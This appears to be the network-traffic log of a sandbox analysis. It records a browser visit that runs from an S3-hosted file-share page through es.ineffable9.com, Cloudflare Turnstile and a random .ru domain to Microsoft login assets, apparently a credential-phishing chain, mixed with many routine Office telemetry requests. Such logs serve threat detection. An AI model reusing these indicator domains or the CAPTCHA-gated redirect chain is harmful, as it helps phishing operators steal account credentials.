Source: global traffic	HTTP traffic detected: GET /1/api.js HTTP/1.1Host: hcaptcha.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /7GbZu6Idv_m2at7xgNmWkk/ HTTP/1.1Host: es.ineffable9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://es.ineffable9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://es.ineffable9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://es.ineffable9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/a6e12e96a2d5/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://es.ineffable9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/a6e12e96a2d5/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://es.ineffable9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ed70eb9892b182d&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: es.ineffable9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBWVHU0UzY2dzM5SzB5Wm9nKzdhU2c9PSIsInZhbHVlIjoiaWFoaVFUbjRwV0FyZVRuSEhiMWJhWU9kNjg0Z2VkN0VVQ3E1M25YVXN5NTFXQUpVQ0tkNzV4NTFBQnB1M3F6ek5HUUY0YkVEKzNaTkxaUm41Z3dmWWxPdnVHVUczWVJjYjJ3VzFabTRnZXpRR08rNUFJRDd2dHdhNmhYZSt1V0YiLCJtYWMiOiI1MjAyNGU2MTliNGViZmRhZDhlMTA5ZDY3OWRmMDIyZmEyMTQ1MjViYjY4M2ViYzYwODJiYWMxNzI0MDQ1M2E2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZLK0hiOVNWclZqbDRHMGEyS3JxTFE9PSIsInZhbHVlIjoiYzcxSFpuVzdWQndMY3YzOHFha3hWdGI0dE54WW5rTll4S1ZlVFBnT1R5ZDdaNVJIUWFIRU1Lby9rVkpDdlZ4Smt1aWszM2pmVjlqd1dtaHJSTnBWQWVxSDVKQThIQmFOc2I1UWlrbElxcVQzM3I1aFV6dThjeUpnRVZkMW1sNEUiLCJtYWMiOiJlNTJjMmYxODZhZThjMmUxNGRiMmE0MzUzOTBmNjgyZGE1MDFkZmIxM2E4M2IzOGZlYzcwNTM5NTE4YzM1NGRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ed70eb9892b182d&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2128624006:1733430709:1kaw-EvXPlJ06sc69WjGhomWhSrpyXilzAXkA-dCLoQ/8ed70eb9892b182d/Sey5sIGgWq2IHAhb.hmGJJM2_dPBBNiAE.KWWLOalys-1733433389-1.1.1.1-OfYSI5AbGvARg9nLEkAySRpA3JyG_DHs_QQoNYUtdlF7RyAYasul4Do7qmfINcH9 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8ed70eb9892b182d/1733433393196/5e09f65230dd9f46abe104a682db300e44e94132a9ace4d53e6c37e26f62d537/ZwJbetfr46IcsT5 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8ed70eb9892b182d/1733433393199/YnxHomZDnCCubfr HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8ed70eb9892b182d/1733433393199/YnxHomZDnCCubfr HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2128624006:1733430709:1kaw-EvXPlJ06sc69WjGhomWhSrpyXilzAXkA-dCLoQ/8ed70eb9892b182d/Sey5sIGgWq2IHAhb.hmGJJM2_dPBBNiAE.KWWLOalys-1733433389-1.1.1.1-OfYSI5AbGvARg9nLEkAySRpA3JyG_DHs_QQoNYUtdlF7RyAYasul4Do7qmfINcH9 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2128624006:1733430709:1kaw-EvXPlJ06sc69WjGhomWhSrpyXilzAXkA-dCLoQ/8ed70eb9892b182d/Sey5sIGgWq2IHAhb.hmGJJM2_dPBBNiAE.KWWLOalys-1733433389-1.1.1.1-OfYSI5AbGvARg9nLEkAySRpA3JyG_DHs_QQoNYUtdlF7RyAYasul4Do7qmfINcH9 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /OtSkvjmchSsJEGhrbseuEqPeaTIvXYqHHGMEEXULSOCDGARUJMFMHTNHTUGWY HTTP/1.1Host: yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://es.ineffable9.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://es.ineffable9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /OtSkvjmchSsJEGhrbseuEqPeaTIvXYqHHGMEEXULSOCDGARUJMFMHTNHTUGWY HTTP/1.1Host: yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.microsoftonline.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.microsoftonline.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
